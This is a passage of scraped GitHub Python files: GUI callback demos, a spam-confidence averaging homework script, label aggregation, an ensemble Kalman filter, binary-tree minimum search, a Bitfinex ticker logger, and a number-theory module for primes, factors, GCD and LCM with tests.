numbered\n# print(event, values[0], values[1]) \n\n# def callback_function1():\n# sg.popup('In Callback Function 1')\n# print('In the callback function 1')\n\n\n# def callback_function2():\n# sg.popup('In Callback Function 2')\n# print('In the callback function 2')\n\n\n# layout = [[sg.Text('Demo of Button Callbacks')],\n# [sg.Button('Button 1'), sg.Button('Button 2')]]\n\n# window = sg.Window('Button Callback Simulation', layout)\n\n# while True: # Event Loop\n# event, values = window.read()\n# if event == sg.WIN_CLOSED:\n# break\n# elif event == 'Button 1':\n# callback_function1() # call the \"Callback\" function\n# elif event == 'Button 2':\n# callback_function2() # call the \"Callback\" function\n\n# window.close()\n\n# sg.theme('BluePurple')\n\n# layout = [[sg.Text('Your typed chars appear here:'), sg.Text(size=(15,1), key='-OUTPUT-')],\n# [sg.Input(key='-IN-')],\n# [sg.Button('Show'), sg.Button('Exit')]]\n\n# window = sg.Window('Pattern 2B', layout)\n\n# while True: # Event Loop\n# event, values = window.read()\n# print(event, values)\n# if event == sg.WIN_CLOSED or event == 'Exit':\n# break\n# if event == 'Show':\n# # Update the \"output\" text element to be the value of \"input\" element\n# window['-OUTPUT-'].update(window['-OUTPUT-'].get()+'\\n New Text append')\n\n# window.close()\n","repo_name":"ninocapipoca/plan-meals-for-me-please","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":5303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6625934213","text":"filename=input(\"please input the file name: \")#read file name\nmyfile=open(filename)\ntotal=0\ncountt=0\ntempt=0\nfor line in myfile:\n tempt=line.find(\"X-DSPAM-Confidence:\")#tempt is the position of X-DSPAM-Confidence\n if tempt!=-1:\n total+=float(line[(tempt+20):(tempt+26)])\n #20 means the start positon the the float number, beacuse the string above is 20 characters long.\n #26 means the end position of the float, because the float is 6 charactsers long.\n countt+=1\nprint(\"Average spam confidence: \",total/countt)\nmyfile.close()","repo_name":"idoleat/NCTU-CS-Introduction-To-Computer-Science-HOMEWORK","sub_path":"python/8/0411275_hw8.py","file_name":"0411275_hw8.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27428349977","text":"import numpy as np\nfrom functools import reduce\n\n\ndef merge_lines(stack: dict, label: str, filename: str) -> str:\n x_float = list(map(lambda x: float(x), stack['x']))\n y_float = list(map(lambda y: float(y), stack['y']))\n width_float = list(map(lambda width: float(width), stack['width']))\n height_float = list(map(lambda height: float(height), stack['height']))\n\n x_mean = reduce(lambda x1, x2: x1 + x2, x_float) / len(x_float)\n y_mean = reduce(lambda y1, y2: y1 + y2, y_float) / len(y_float)\n width_mean = reduce(lambda w1, w2: w1 + w2, width_float) / len(width_float)\n height_mean = reduce(lambda h1, h2: h1 + h2, height_float) / len(height_float)\n\n return filename + ',' + label + ',' + str(x_mean) + ',' + str(y_mean) + ',' + str(width_mean) + ',' + str(\n height_mean) + '\\n'\n\n\ndef clear_stack(stack: dict):\n stack['x'].clear()\n stack['y'].clear()\n stack['width'].clear()\n stack['height'].clear()\n\n\ndef append_stack(stack, splitted):\n stack['x'].append(splitted[2])\n stack['y'].append(splitted[3])\n stack['width'].append(splitted[4])\n stack['height'].append(splitted[5])\n\n\ndef aggregateLabels():\n \"\"\"\n Aggregiert die csv-Datei mit den Labeln.\n Die Trainingsdaten werden zusammengefasst.\n Für jedes Bild gibt es nun n=n1+n2 Zeilen in der csv,\n falls n1 Reiter und n2 Pferde gelabelt wurden.\n :return: csv mit reduzierter Anzahl an Zeilen\n \"\"\"\n with open('resources/rimondo_filtered.csv') as fp:\n output = ''\n threshold = 0.2\n line = fp.readline()\n fix_filename = line.split(',')[0]\n fix_label = line.split(',')[1]\n fix_x = line.split(',')[2]\n line = fp.readline()\n stack = {\n 'x': [],\n 'y': [],\n 'width': [],\n 'height': []\n }\n\n while line:\n splitted = line.split(',')\n label = splitted[1]\n x = splitted[2]\n if fix_label != label or get_norm(x, fix_x) > threshold:\n output += merge_lines(stack, fix_label, fix_filename)\n fix_x = x\n fix_label = label\n fix_filename = splitted[0]\n clear_stack(stack)\n\n append_stack(stack, splitted)\n line = fp.readline()\n return output\n\n\ndef get_norm(x, y):\n return np.linalg.norm(float(x) - float(y))\n\n\nprint(aggregateLabels())\n","repo_name":"markus-webcom/smart-camera-operator","sub_path":"filterinput.py","file_name":"filterinput.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4047165808","text":"'''\n 알고리즘:\n 1. 4등분한 맨 왼쪽, 위 좌표를 기준으로 어떤 사분면에 해당하는지 quad로\n 2. 계속 반복하고 4등분한 부분의 크기가 4가 되면 멈추기\n'''\nn, r, c = map(int, input().split())\n\nnum = 2 ** (n-1)\nquad = 0\nanswer = 0\nwhile True:\n part = num * num\n # 마지막이 되면 r,c에 따라 0,0 / 0,1 / 1,0 / 1,1 인지 파악해서 번수 구하기\n if part == 1:\n if r == 1 and c == 1:\n answer += 3\n elif r == 1:\n answer += 2\n elif c == 1:\n answer += 1\n break\n\n if 0<= r < num and 0 <= c < num:\n quad = 0\n elif 0 <= r < num and num <= c:\n quad = 1\n elif num <= r and 0 <= c < num:\n quad = 2\n else:\n quad = 3\n\n # 좌표 재정비(다른 부분 자른 경우에)\n if r >= num and c >= num:\n r -= num\n c -= num\n elif r >= num:\n r -= num\n elif c >= num:\n c -= num\n\n answer += (quad * part)\n num //= 2\n\nprint(answer)\n","repo_name":"yujinHan97/Algorithm","sub_path":"1074.py","file_name":"1074.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6511270445","text":"import numpy as np\n\ndef ETKF_livings(Xf, HXf, Y, R):\n \"\"\"\n Adaption of the ETKF proposed by David Livings (2005)\n \n Implementation adapted from\n \"State-of-the-art stochastic data assimialation methods\" by Vetra-Carvalho et al. (2018),\n \n Dimensions: N_e: ensemble size, N_y: Number of observations: N_x: State vector size (Gridboxes x assimilated variables)\n \n Input:\n - Xf: the prior ensemble (N_x x N_y) \n - R: Measurement Error (Variance of pseudoproxy timerseries) ($N_y$ x 1$) -> converted to Ny x Ny matrix\n - HX^f: Model value projected into observation space/at proxy locations ($N_y$ x $N_e$)\n - Y: Observation vector ($N_y$ x 1)\n\n Output:\n - Analysis ensemble (N_x, N_e)\n \"\"\"\n # number of ensemble members\n Ne=np.shape(Xf)[1]\n Ny=np.shape(Y)[0]\n\n #Obs error matrix\n Rmat=np.diag(R)\n Rmat_inv=np.diag(1/R)\n #Mean of prior ensemble for each gridbox \n mX = np.mean(Xf, axis=1)\n #Perturbations from ensemble mean\n Xfp=Xf-mX[:,None]\n #Mean and perturbations for model values in observation space\n mY = np.mean(HXf, axis=1)\n HXp = HXf-mY[:,None]\n \n #Scaling of perturbations proposed by Livings (2005), numerical stability\n S_hat=np.diag(1/np.sqrt(R)) @ HXp/np.sqrt(Ne-1)\n \n #svd of S_hat transposed\n U,s,Vh=np.linalg.svd(S_hat.T)\n \n C=Rmat_inv @ HXp\n #recreate singular value matrix\n Sig=np.zeros((Ne,Ny))\n np.fill_diagonal(Sig,s)\n \n #perturbation weight\n mat=np.diag(1/np.sqrt(1+np.square(s)))\n Wp1=mat @ U.T\n Wp=U @ Wp1\n \n #innovation\n d=Y-mY\n #mean weight\n D = np.diag(1/np.sqrt(R)) @ d\n D2= Vh @ D\n D3 = np.diag(1/(1+np.square(s))) @ Sig @ D2\n wm= U @ D3 / np.sqrt(Ne-1)\n\n #adding pert and mean (!row-major formulation in Python!)\n W=Wp + wm[:,None]\n\n #final adding up (most costly operation)\n Xa=mX[:,None] + Xfp @ W\n \n return Xa\n","repo_name":"mchoblet/ensemblefilters","sub_path":"kalmanfilters/etkf_livings.py","file_name":"etkf_livings.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"13913684904","text":"def func1(**col):\n\tprint (col)\n\tfor i in col:\n\t\tprint (col[i])\n\ndict1=dict(name='John' , age=40 , job ='dev')\n\ndict2=dict(name='Stella', age=35 , job='IT', mother=True)\n\n\nfunc1(**dict1)\nprint('\\n next \\n')\nfunc1(**dict2)\n","repo_name":"ikoustou/learning_python","sub_path":"unpacking_dict1.py","file_name":"unpacking_dict1.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"381884698","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 2 16:12:09 2023\n\n@author: scognamigliofrancescopio@gmail.com\n\"\"\"\n\nclass NodeSBT:\n def __init__(self, key, left = None, right = None):\n self.key = key\n self.left = left\n self.right = right\n\ndef getMin(node):\n if node == None: return None\n if node.left == None: return node.key\n return getMin(node.left)\n\ndef getMinIterative(node):\n if node == None: return None\n while node.left != None: node = node.left\n return node.key\n\ndef getMinViaArray(A, i = 0):\n if i >= len(A): return None\n if 2*i+1 >= len(A) or A[2*i+1] == None: return A[i]\n return getMinViaArray(A, 2*i+1)\n\ndef getMinViaArrayIterative(A):\n if len(A) == 0: return None\n i = 0\n while 2*i+1 < len(A) and A[2*i+1] != None: i = 2*i+1\n return A[i]\n\n\nroot = NodeSBT(15)\nroot.left = NodeSBT(10)\nroot.left.left = NodeSBT(5)\nroot.left.right = NodeSBT(12)\nroot.right = NodeSBT(20)\nroot.right.left = NodeSBT(16)\nroot.right.right = NodeSBT(25)\nroot.right.right.left = NodeSBT(22)\nassert getMin(root) == 5\nassert getMinIterative(root) == 5\nprint(getMin(root))\n\nA = [15, 10, 20, 5, 12, 16, 25, None, None, None, None, None, None, 22]\nassert getMinViaArray(A) == 5\nassert getMinViaArrayIterative(A) == 5\nprint(getMinViaArray(A))\n","repo_name":"francescopioscognamiglio/pythonExercises","sub_path":"exercises/getMinimumOfSearchBinaryTreeImplementedViaPointersAndArray.py","file_name":"getMinimumOfSearchBinaryTreeImplementedViaPointersAndArray.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29137836907","text":"import json\nimport urllib.request\nfrom datetime import datetime\n\nURL = 'https://api.bitfinex.com/v1/pubticker/btcusd' # Please change this url as you like\nPATH = 'input.csv' # Output file name\nHEADER = 'time,bid,ask,last_price,volume' # Csv header. After changing above url, you may need to fix this\nFORMAT = '%Y-%m-%d %H:%M:%S' # Time column format\n\nreq = urllib.request.Request(URL)\nwritable = True\n\n\ndef write(time, data):\n header = HEADER.split(',')\n\n with open(PATH, 'a') as f:\n f.write(time)\n for i in range(1, len(header)):\n f.write(',')\n f.write(data[header[i]])\n f.write('\\n')\n\n\nif __name__ == '__main__':\n '''\n fetching ticker per 10 seconds\n '''\n\n # output file is overwritten even if it exists already\n with open(PATH, 'w') as f:\n f.write(HEADER + '\\n')\n\n # Since consecutive values are required for input data,\n # this loop stops fetching if some error happens\n while True:\n dt = datetime.now()\n if dt.second % 10 == 0 and writable:\n writable = False\n time = dt.strftime(FORMAT)\n print(time)\n with urllib.request.urlopen(req) as res:\n body = json.load(res)\n write(time, body) # After changing above url, you also need to fix this depending on ticker response\n elif dt.second % 10 == 1 and not writable:\n writable = True\n\n","repo_name":"resotto/laplace","sub_path":"btcusd/create_csv.py","file_name":"create_csv.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"62"} +{"seq_id":"36733979797","text":"import typing\n\n\ndef isprime(number: int) -> bool:\n \"\"\"\n 判断一个数是否为质数, 时间复杂度O(logn).\n\n 参考:\n How to Find Prime Numbers?\n https://byjus.com/maths/prime-numbers/\n \"\"\"\n if number in (2, 3): return True\n if number < 2: return False\n if number % 2 == 0: return False\n if number % 3 == 0: return False\n\n i = 6\n square_root = int(number ** 0.5)\n while i <= square_root+1:\n if number % (i-1) == 0: return False\n if number % (i+1) == 0: return False\n i += 6\n return True\n\n\ndef isprime2(number: int) -> bool:\n \"\"\"\n 判断一个数是否为质数(对半迭代求模法), 时间复杂度O(logn)\n\n 如何判断一个数是否能被2整除?\n 通常是采用 %(求模) 来判断, 例如: 16 % 2 == 0; 表示 16可以被2整除.\n\n 如果不能被2整除, 那怎么办?\n 那就尝试用3去求模判断是否能被3整除, 以此类推往下迭代.\n \"\"\"\n if number < 2: return False # 小于2的都不是质数.\n if number in (2, 3): return True # 2, 3 是质数\n if number % 2 == 0: return False # 能被2整除的都不是质数.\n if number % 3 == 0: return False # 能被3整除的都不是质数.\n\n square_root = int(number ** 0.5) # 对数操作: 通过平方根运算, 锁定对数范围.\n for i in range(5, square_root+1):\n if (number % i) == 0: return False # number 能被 i 整除, 所以 number 不是质数.\n return True\n\n\ndef isprime3(number: int) -> bool:\n \"\"\"\n 判断一个数是否为质数(对半迭代求模法), 时间复杂度O(logn), 性能是 isprime, isprime2 的3倍.\n\n 参考:\n isPrime Function for Python Language?\n https://stackoverflow.com/a/15285588/12353483\n \"\"\"\n if number < 2: return False\n if number in (2, 3): return True\n if number % 2 == 0: return False\n if number % 3 == 0: return False\n # if number < 9: return True\n\n i = 5\n square_root = int(number ** 0.5)\n while i <= square_root:\n if number % i == 0: return False # 6(i) + 5 一定不会被2整除\n if number % (i+2) == 0: return False #\n i += 6 # 步长: 6\n\n return True\n\n\ndef isprime4(number: int) -> bool:\n if number < 2: return False\n if number in (2, 3): return True\n if number % 2 == 0: return False\n if number % 3 == 0: return False\n\n i = 5 # 0,1不是质因数, 2,3是质数, 4可以被2整除, 所以从5开始.\n while (i * i) < number: # 对数操作: 平方运算, 锁定对数范围\n if (number % i) == 0: return False # number 能被 i 整除, 所以 number 不是质数.\n i += 1\n\n if (i * i) == number: return False\n return True # 质数/素数: prime number.\n\n\ndef isprime5(number: int) -> bool:\n \"\"\"\n 判断一个数是否为质数(对半迭代求模法), 时间复杂度O(n)\n \"\"\"\n if number < 2: return False # 小于2的都不是质数.\n\n for i in range(2, number + 1):\n if (number % i) == 0:\n break # number 能被 i 整除, 所以 number 不是质数.\n else:\n return True # 质数/素数: prime number.\n return False\n\n\ndef iscomposite(number: int) -> bool:\n \"\"\"\n 判断一个数是否为因数(composite number|复合数)\n \"\"\"\n if number < 2: return False # 负数, 0, 1 都不是质因数.\n return isprime(number) == False\n\n\ndef factors(number: int) -> typing.List[int]:\n \"\"\"\n 列出 number 的所有质因数, 时间复杂度O(logn)\n\n 例如:\n 10 = [1, 2, 5, 10]\n 16 = [1, 2, 4, 8, 16]\n\n 算法(以10为例):\n 1 x 10 = 10 # [1, 10]\n 2 x 5 = 10 # [1, 10, 2, 5]\n # [1, 2, 5, 10] 排序后\n\n 算法(以16为例):\n 1 x 16 = 16 # [1, 16]\n 2 x 8 = 16 # [1, 16, 2, 8]\n 4 x 4 = 16 # [1, 16, 2, 8, 4]\n # [1, 2, 4, 8, 16] 排序后\n \"\"\"\n if number < 2: return []\n result: typing.List[int] = [1, number] # 头加1\n\n i = 2\n while (i * i) < number: # 平方\n if (number % i) == 0:\n result.append(i) # number 能被 i 整除, 所以 i 是 number 的质因数(factors).\n result.append(number//i)\n i += 1\n\n if (i * i) == number: result.append(i) # 尾加自己\n return sorted(result)\n\n\ndef factors2(number: int) -> typing.List[int]:\n \"\"\"\n 列出 number 的所有质因数, 时间复杂度O(logn)\n \"\"\"\n result: typing.List[int] = [1, number]\n\n sqaure_root_float = (number ** 0.5) # 平方根\n square_root_int = int(sqaure_root_float)\n same_square = sqaure_root_float == square_root_int\n sqaure_root = square_root_int if same_square else (square_root_int + 1)\n\n for i in range(2, sqaure_root):\n if number % i == 0:\n result.append(i)\n result.append(number//i)\n\n if same_square: result.append(square_root_int)\n return sorted(result)\n\n\ndef factors3(number: int) -> typing.List[int]:\n \"\"\"\n 列出 number 的所有质因数, 时间复杂度O(n)\n \"\"\"\n result: typing.List[int] = [1, ]\n if number <= 0: return []\n if number == 1: return result\n\n for i in range(2, number):\n if (number % i) == 0:\n result.append(i)\n\n result.append(number)\n return result\n\n\ndef factorization(number: int) -> typing.List[int]:\n \"\"\"\n 列出一个数的质数(分解)集合.\n\n 例如:\n 10 = 2 x 5;\n 12 = 2 x 2 x 3;\n 15 = 3 x 5;\n 16 = 2 x 2 x 2 x 2;\n\n 算法(以16举例):\n 16 / 2 = 8; # [2, ] 16可以被2整除, 把2纳入结果集\n 8 / 2 = 4; # [2, 2] 8可以被2整除, 把2纳入结果集\n 4 / 2 = 2; # [2, 2, 2] 4可以被2整除, 把2纳入结果集\n # [2, 2, 2, 2] 最后剩下2是一个质数, 不能再继续被整除, 所以也把这个数字纳入结果集.\n 算法(以168为例):\n 168 / 2 = 84; # [2, ] 168可以被2整除, 把2纳入结果集\n 84 / 2 = 42; # [2, 2] 84可以被2整除, 把2纳入结果集\n 42 / 2 = 21; # [2, 2, 2] 42可以被2整除, 把2纳入结果集\n 21 / 3 = 7; # [2, 2, 2, 3] 21可以被3整除, 把2纳入结果集\n # [2, 2, 2, 3, 7] 最后剩下7是一个质数, 不能再继续被整除, 所以也把这个数字纳入结果集.\n \"\"\"\n result: typing.List[int] = []\n if number < 2: return result\n\n i = 2\n while (i * i) <= number:\n if (number % i) == 0:\n number //= i\n result.append(i)\n else:\n i += 1 # 只有不满足条件才会+1, 所以没有for版本.\n\n if number >= 2: result.append(number)\n return result\n\n\ndef ismultiple(multiple: int, number: int) -> bool:\n \"\"\"\n 判断一个数是否为倍数\n\n :param number: 被求数\n :param multiple: 倍数\n \"\"\"\n return (multiple % number) == 0\n\n\ndef isdivisor(number: int, divisor: int) -> bool:\n \"\"\"\n 判断一个数是否为约数\n\n :param number: 被求数\n :param divisor: 约数\n \"\"\"\n return (number % divisor) == 0\n\n\ndef multiples(number: int, limit: int = 10, infinite: bool = False) -> typing.Iterator[int]:\n \"\"\"\n 列出一个数的倍数\n\n :param number: 被求数\n :param limit: 查找倍数的范围\n :param infinite: True: limit参数无效; False: limit参数有效;\n\n 使用这种方式写代码的好处是, 复杂场景的筛选条件可以交给外部来定夺.\n 例如: test_common_multiple的测试场景, 要筛选某些数而不是特定范围.\n \"\"\"\n\n i = 1\n while True:\n if not infinite:\n if limit < i: break\n yield (number * i)\n i += 1\n\n\ndef multiples2(number: int, limit: int = 10) -> typing.List[int]:\n\n \"\"\"\n 列出一个数的倍数\n\n 使用这种写法比较简单, 运行效率也会相对更高, 但是不够灵活(指的是 limit 强行限制的范围).\n \"\"\"\n return [number * i for i in range(2, limit + 2)]\n\n\ndef divisors(number: int) -> typing.List[int]:\n \"\"\"\n 列出一个数的所有约数\n\n :param number: 被求数\n \"\"\"\n return factors(number)\n\n\ndef commom_base(lhs_iter: typing.Iterator,\n rhs_iter: typing.Iterator,\n limit: int = 10) -> typing.List[int]:\n \"\"\"\n 采集两个迭代器的公有数据\n\n :param lhs_iter: 生产数a集合的迭代器\n :param rhs_iter: 生产数b集合的迭代器\n :param limit: 取交集(intersection)的limit数量的列表\n\n 备注:\n common_base的limit: 筛选满足公有倍数的个数\n multiples的limit: 筛选满足倍数的个数\n divisors的limit: 筛选满足约数的个数\n \"\"\"\n status = True\n sep = limit * 2\n result = set()\n lrs, rrs = set(), set()\n while True:\n\n # 按照 sep 批次获取 iter 的值\n count = 0\n while count < sep:\n try:\n lrs.add(next(lhs_iter))\n except StopIteration:\n status = False\n\n try:\n rrs.add(next(rhs_iter))\n except StopIteration:\n status = False\n\n count += 1\n\n [result.add(i) for i in lrs.intersection(rrs)]\n if len(result) > limit: break\n if status is False: break\n return sorted(list(result))[0:limit]\n\n\ndef common_base2(lhs: int, rhs: int, limit: int = 10):\n # 方式二:\n # 这个代码有严重的性能问题, 没迭代一次循环, multiple的方式二都会从0开始迭代数值, 成几何倍数的方式在增长.\n offset = 10\n result = set()\n while True:\n lr = set(multiples(lhs, limit=offset))\n rr = set(multiples(rhs, limit=offset))\n [result.add(i) for i in list(lr.intersection(rr))]\n if len(result) >= limit: break\n offset += offset\n return sorted(list(result))[0:limit]\n\n\ndef commom_multiple(lhs: int, rhs: int, limit: int = 10) -> typing.List[int]:\n \"\"\"\n 列出两个数的公倍数\n\n :param lhs: 数a\n :param rhs: 数b\n :param limit: 查找两个数的公倍数范围\n \"\"\"\n lhs_iter = multiples(lhs, infinite=True)\n rhs_iter = multiples(rhs, infinite=True)\n return commom_base(lhs_iter, rhs_iter, limit)\n\n\ndef least_common_multiple(lhs: int, rhs: int, limit: int = 10) -> int:\n \"\"\"\n 列出两个数的最小公倍数\n\n :param lhs: 数a\n :param rhs: 数b\n :param limit: 查找两个数的公倍数范围\n \"\"\"\n return commom_multiple(lhs, rhs, limit)[0]\n\n\ndef common_divisor(lhs: int, rhs: int) -> typing.List[int]:\n \"\"\"\n 列出两个数的公约数(短除法)\n\n :param lhs:\n :param rhs:\n :return:\n \"\"\"\n lhs_list = divisors(lhs)\n rhs_list = divisors(rhs)\n return commom_base(iter(lhs_list), iter(rhs_list))\n\n\ndef greatest_common_divisor(lhs: int, rhs: int) -> int:\n \"\"\"\n 列出两个数的最大公约数(短除法)\n\n :param lhs:\n :param rhs:\n :param stop:\n :return:\n \"\"\"\n cd = common_divisor(lhs, rhs)\n gcd = cd[-1] if len(cd) > 0 else 1\n return gcd\n\n\ndef divisor_factorization(number: int) -> typing.List[int]:\n \"\"\"\n 列出一个数的所有约数(质因数分解法)\n\n :param number: 被求数\n \"\"\"\n return factorization(number)\n\n\ndef common_divisor_factorization(lhs: int, rhs: int) -> typing.List[int]:\n \"\"\"\n 列出两个数的公约数(质因数分解法)\n :param lhs:\n :param rhs:\n :return:\n \"\"\"\n lhs_list = divisor_factorization(lhs)\n rhs_list = divisor_factorization(rhs)\n return commom_base(iter(lhs_list), iter(rhs_list))\n\n\ndef greatest_common_divisor_factorization(lhs: int, rhs: int) -> int:\n \"\"\"\n 列出两个数的最大公约数(质因数分解法)\n :param lhs:\n :param rhs:\n :return:\n \"\"\"\n cd = common_divisor_factorization(lhs, rhs)\n gcd = 1 # len(cd) < 1\n if len(cd) >= 1: # len(cd) >= 1\n gcd = cd[-1]\n if len(cd) == 1: # len(cd) == 1\n divisor = cd[-1] ** 2\n if lhs % divisor == rhs % divisor == 0:\n gcd = divisor\n return gcd\n\n\ndef least_common_multiple_factorization(lhs: int, rhs: int) -> int:\n \"\"\"\n 列出两个数的最小公倍数(质因数分解法)\n 参考: http://www.math.com/school/subject1/lessons/S1U3L3DP.html\n \"\"\"\n from collections import Counter\n from functools import reduce\n\n lhs_factors = factorization(lhs)\n rhs_factors = factorization(rhs)\n\n lhs_counter = Counter(lhs_factors)\n rhs_counter = Counter(rhs_factors)\n\n lhs_keys = set(lhs_counter.keys())\n rhs_keys = set(rhs_counter.keys())\n\n intersections = lhs_keys.intersection(rhs_keys)\n left_diffs = lhs_keys.difference(rhs_keys)\n right_diffs = rhs_keys.difference(lhs_keys)\n\n temp: typing.List[int] = []\n for i in left_diffs: temp.append(i)\n for i in right_diffs: temp.append(i)\n for i in intersections:\n ss = max(lhs_counter[i], rhs_counter[i])\n [temp.append(i) for j in range(ss)]\n\n sorted_temp = sorted(temp)\n return reduce(lambda x, y: x * y, sorted_temp)\n\n\ndef least_common_multiple_formula(lhs: int, rhs: int) -> int:\n \"\"\"\n 列出两个数的最小公倍数(最大公约数解法)\n 参考: https://byjus.com/lcm-formula/\n \"\"\"\n gcd = greatest_common_divisor_factorization(lhs, rhs)\n return int((lhs * rhs) / gcd)\n\n\ndef test_isprime():\n \"\"\"\n 测试: 验证一个数是否为质数/素数(prime)\n \"\"\"\n assert isprime(2) == True\n assert isprime(3) == True\n assert isprime(4) == False\n assert isprime(5) == True\n assert isprime(6) == False\n assert isprime(7) == True\n assert isprime(8) == False\n assert isprime(9) == False\n assert isprime(10) == False\n assert isprime(11) == True\n assert isprime(21) == False\n assert isprime(33) == False\n assert [i for i in range(101) if isprime(i)] == [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97]\n\n\ndef test_iscomposite():\n \"\"\"\n 测试: 验证一个数是否为因数/复合数(composite)\n \"\"\"\n assert iscomposite(0) == False\n assert iscomposite(1) == False\n assert iscomposite(2) == False\n assert iscomposite(3) == False\n assert iscomposite(4) == True\n assert iscomposite(5) == False\n assert iscomposite(6) == True\n assert iscomposite(7) == False\n assert iscomposite(8) == True\n assert iscomposite(9) == True\n assert iscomposite(10) == True\n assert iscomposite(11) == False\n assert iscomposite(21) == True\n assert iscomposite(33) == True\n assert [i for i in range(21) if iscomposite(i)] == [4,6,8,9,10,12,14,15,16,18,20]\n\n\ndef test_factors():\n \"\"\"\n 测试: 验证根据一个数列出该数的所有质因数\n \"\"\"\n assert factors(16) == [1, 2, 4, 8, 16]\n assert factors(20) == [1, 2, 4, 5, 10, 20]\n assert factors(45) == [1, 3, 5, 9, 15, 45]\n assert factors(75) == [1, 3, 5, 15, 25, 75]\n assert factors(73) == [1, 73]\n assert factors(77) == [1, 7, 11, 77]\n\n\ndef test_factorization():\n \"\"\"\n 测试: 验证根据一个数列出该数的质因数分解结果集\n \"\"\"\n assert factorization(4) == [2,2]\n assert factorization(6) == [2,3]\n assert factorization(8) == [2,2,2]\n assert factorization(9) == [3,3]\n assert factorization(10) == [2,5]\n assert factorization(12) == [2,2,3]\n assert factorization(14) == [2,7]\n assert factorization(15) == [3,5]\n assert factorization(16) == [2,2,2,2]\n assert factorization(18) == [2,3,3]\n assert factorization(20) == [2,2,5]\n assert factorization(330) == [2,3,5,11]\n assert factorization(600851475143) == [71, 839, 1471, 6857]\n\n\ndef test_multiple():\n \"\"\"\n 测试: 验证 multiple数 是否为 number数 的倍数.\n \"\"\"\n assert ismultiple(10, 1) == True\n assert ismultiple(10, 2) == True\n assert ismultiple(10, 3) == False\n assert ismultiple(10, 4) == False\n assert ismultiple(10, 5) == True\n assert ismultiple(10, 10) == True\n\n assert ismultiple(20, 1) == True\n assert ismultiple(20, 2) == True\n assert ismultiple(20, 3) == False\n assert ismultiple(20, 4) == True\n assert ismultiple(20, 5) == True\n assert ismultiple(20, 10) == True\n\n\ndef test_multiples():\n \"\"\"\n 测试: 验证根据一个数列出该数的倍数\n \"\"\"\n assert list(multiples(2, limit=5)) == [2, 4, 6, 8, 10]\n assert list(multiples(3, limit=5)) == [3, 6, 9, 12, 15]\n assert list(multiples(7, limit=5)) == [7, 14, 21, 28, 35]\n assert list(multiples(10, limit=5)) == [10, 20, 30, 40, 50]\n\n\ndef test_common_multiple():\n \"\"\"\n 测试: 验证根据两个数列出这两个数的公共倍数.\n \"\"\"\n assert commom_multiple(2, 3, 5) == [6, 12, 18, 24, 30]\n assert commom_multiple(2, 3, 6) == [6, 12, 18, 24, 30, 36]\n assert commom_multiple(6, 7, 5) == [42, 84, 126, 168, 210]\n\n\ndef test_least_common_multiple():\n \"\"\"\n 测试: 验证根据两个数列出这两个数的最小公倍数.\n \"\"\"\n assert least_common_multiple(2, 3) == 6\n assert least_common_multiple(6, 7) == 42\n assert least_common_multiple(4, 6) == 12\n assert least_common_multiple(2, 4) == 4\n assert least_common_multiple(12, 80) == 240\n assert least_common_multiple(50, 65) == 650\n\n\ndef test_divisor():\n \"\"\"\n 测试: 验证根据一个数列出该数的约数(除数)\n \"\"\"\n assert isdivisor(10, 1) == True\n assert isdivisor(10, 2) == True\n assert isdivisor(10, 3) == False\n assert isdivisor(10, 4) == False\n assert isdivisor(10, 5) == True\n assert isdivisor(10, 10) == True\n\n assert isdivisor(21, 1) == True\n assert isdivisor(21, 2) == False\n assert isdivisor(21, 3) == True\n assert isdivisor(21, 4) == False\n assert isdivisor(21, 5) == False\n assert isdivisor(21, 6) == False\n assert isdivisor(21, 7) == True\n assert isdivisor(21, 8) == False\n assert isdivisor(21, 9) == False\n assert isdivisor(21, 10) == False\n assert isdivisor(21, 11) == False\n\n\ndef test_common_divisor():\n \"\"\"\n 测试: 验证根据两个数列出这两个数的公共约数(除数).\n \"\"\"\n assert common_divisor(15, 20) == [1, 5]\n assert common_divisor(2, 3) == [1, ]\n assert common_divisor(2, 4) == [1, 2]\n assert common_divisor(3, 6) == [1, 3]\n assert common_divisor(6, 21) == [1, 3]\n assert common_divisor(6, 6) == [1, 2, 3, 6]\n\n\ndef test_greatest_common_divisor():\n \"\"\"\n 测试: 验证根据两个数列出这两个数的最大公约数(除数|短除法).\n \"\"\"\n assert greatest_common_divisor(15, 20) == 5\n assert greatest_common_divisor(2, 3) == 1\n assert greatest_common_divisor(2, 4) == 2\n assert greatest_common_divisor(3, 6) == 3\n assert greatest_common_divisor(6, 21) == 3\n assert greatest_common_divisor(6, 6) == 6\n\n\ndef test_greatest_common_divisor_factorization():\n \"\"\"\n 测试: 验证根据两个数列出这两个数的最大公约数(除数|质因数分解法)\n\n 声明:\n 这里为什么会跟上面的test_greatest_common_divisor不一样.\n greatest_common_divisor 采用的是 factors, 结果集是质数: 1\n \"\"\"\n assert greatest_common_divisor_factorization(15, 20) == 5\n assert greatest_common_divisor_factorization(2, 3) == 1\n assert greatest_common_divisor_factorization(2, 4) == 2\n assert greatest_common_divisor_factorization(3, 6) == 3\n assert greatest_common_divisor_factorization(6, 21) == 3\n assert greatest_common_divisor_factorization(6, 6) == 3\n\n\ndef test_least_common_multiple_factorization():\n assert least_common_multiple_factorization(16, 4) == 16\n assert least_common_multiple_factorization(12, 80) == 240\n assert least_common_multiple_factorization(50, 65) == 650\n\n\ndef test_least_common_multiple_formula():\n assert least_common_multiple_formula(16, 4) == 16\n 